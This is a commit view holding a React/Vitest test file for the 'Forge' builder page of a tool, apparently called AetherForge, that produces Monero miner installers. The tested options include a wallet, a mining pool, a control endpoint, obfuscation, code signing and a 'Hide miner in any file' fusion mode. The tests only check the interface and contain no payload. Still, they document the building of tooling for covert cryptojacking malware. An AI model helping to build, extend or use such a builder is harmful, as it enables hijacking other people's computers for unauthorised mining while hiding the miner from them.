feat: T1007 System Service Discovery - fixed allowlist probe in posture heartbeat

This commit is contained in:
AetherForge
2026-05-30 23:16:50 -07:00
parent 4207f6c21b
commit d010292333
26 changed files with 2499 additions and 134 deletions

View File

@@ -0,0 +1,157 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import BuilderPage, { formatBytes } from './BuilderPage';
import { ForgeProvider } from '../context/ForgeContext';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
function renderBuilder(initialEntries = ['/forge']) {
return render(
<MemoryRouter initialEntries={initialEntries}>
<ForgeProvider>
<BuilderPage />
</ForgeProvider>
</MemoryRouter>
);
}
describe('formatBytes', () => {
it('formats sub-kilobyte values as bytes', () => {
expect(formatBytes(512)).toBe('512 B');
});
it('formats kilobytes and megabytes with two decimals', () => {
expect(formatBytes(2048)).toBe('2.00 KB');
expect(formatBytes(5 * 1024 * 1024)).toBe('5.00 MB');
});
it('formats gigabytes and terabytes', () => {
expect(formatBytes(3 * 1024 * 1024 * 1024)).toBe('3.00 GB');
expect(formatBytes(2 * 1024 * 1024 * 1024 * 1024)).toBe('2.00 TB');
});
});
describe('BuilderPage', () => {
beforeEach(() => {
vi.clearAllMocks();
localStorage.clear();
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'buildAgent').mockResolvedValue({
success: true,
file_name: 'worker-1.exe',
file_size: 4 * 1024 * 1024,
download_url: '/api/v1/builds/test/download',
fusion_enabled: false,
obfuscated: false,
signed: false,
});
vi.spyOn(api, 'listBlueprints').mockResolvedValue([]);
vi.spyOn(api, 'saveBlueprint').mockResolvedValue({ name: 'my-blueprint', size: 1024, created_at: '' });
vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
});
afterEach(() => {
cleanup();
});
it('shows loading hero before defaults arrive', () => {
renderBuilder();
expect(screen.getByRole('heading', { level: 1, name: 'The Forge' })).toBeInTheDocument();
expect(screen.getByText('Loading forge defaults from server...')).toBeInTheDocument();
});
it('renders forge form with identity field labels after load', async () => {
renderBuilder();
expect(await screen.findByRole('heading', { level: 2, name: 'Quick Forge' })).toBeInTheDocument();
expect(screen.getByText('INSTALLER FORGE')).toBeInTheDocument();
expect(screen.getByText('Worker Name')).toBeInTheDocument();
expect(screen.getByText('Control Endpoint')).toBeInTheDocument();
expect(screen.getByText('XMR Wallet Address')).toBeInTheDocument();
expect(api.getConfig).toHaveBeenCalled();
expect(api.getServerInfo).toHaveBeenCalled();
expect(api.listBuilds).toHaveBeenCalled();
});
it('surfaces load failure when server info cannot be fetched', async () => {
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
renderBuilder();
expect(
await screen.findByText('Failed to load server info — is the control server running?')
).toBeInTheDocument();
});
it('shows LAN endpoint chips from server info', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(screen.getByRole('button', { name: mockServerInfo.suggested_url! })).toBeInTheDocument();
});
it('switches to advanced mode and reveals pool configuration', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
expect(screen.getByText('Pool Host')).toBeInTheDocument();
});
it('submits forge when preflight passes', async () => {
const buildSpy = vi.spyOn(api, 'buildAgent');
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
await waitFor(() => {
expect(buildSpy).toHaveBeenCalled();
});
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
expect(screen.getByRole('button', { name: /Download/i })).toBeInTheDocument();
});
it('blocks forge when preflight has errors (empty wallet)', async () => {
renderBuilder();
const wallet = await screen.findByDisplayValue(/^4A+/);
fireEvent.change(wallet, { target: { value: '' } });
const forgeBtn = screen.getByRole('button', { name: /FIX .* ERROR/i });
expect(forgeBtn).toBeDisabled();
expect(screen.getByText('PREFLIGHT CROSS-CHECK')).toBeInTheDocument();
});
it('persists simple vs advanced mode in localStorage', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
expect(localStorage.getItem('aetherforge-forge-mode')).toBe('advanced');
await userEvent.setup().click(screen.getByRole('button', { name: 'Simple' }));
expect(localStorage.getItem('aetherforge-forge-mode')).toBe('simple');
});
it('loads blueprint list when Load Blueprint is clicked', async () => {
vi.spyOn(api, 'listBlueprints').mockResolvedValue([
{ name: 'office-preset', size: 2048, created_at: '2026-05-30T12:00:00Z' },
]);
renderBuilder();
await screen.findByRole('button', { name: /Load Blueprint/i });
await userEvent.setup().click(screen.getByRole('button', { name: /Load Blueprint/i }));
expect(await screen.findByText('Saved Blueprints')).toBeInTheDocument();
expect(screen.getByText('office-preset')).toBeInTheDocument();
expect(api.listBlueprints).toHaveBeenCalled();
});
it('shows fusion deliverable hint when Fusion card is selected', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await userEvent.setup().click(
screen.getByRole('button', { name: /Hide miner in any file/i })
);
expect(
screen.getByText(/Fusion selected — drop your files below and forge/i)
).toBeInTheDocument();
});
});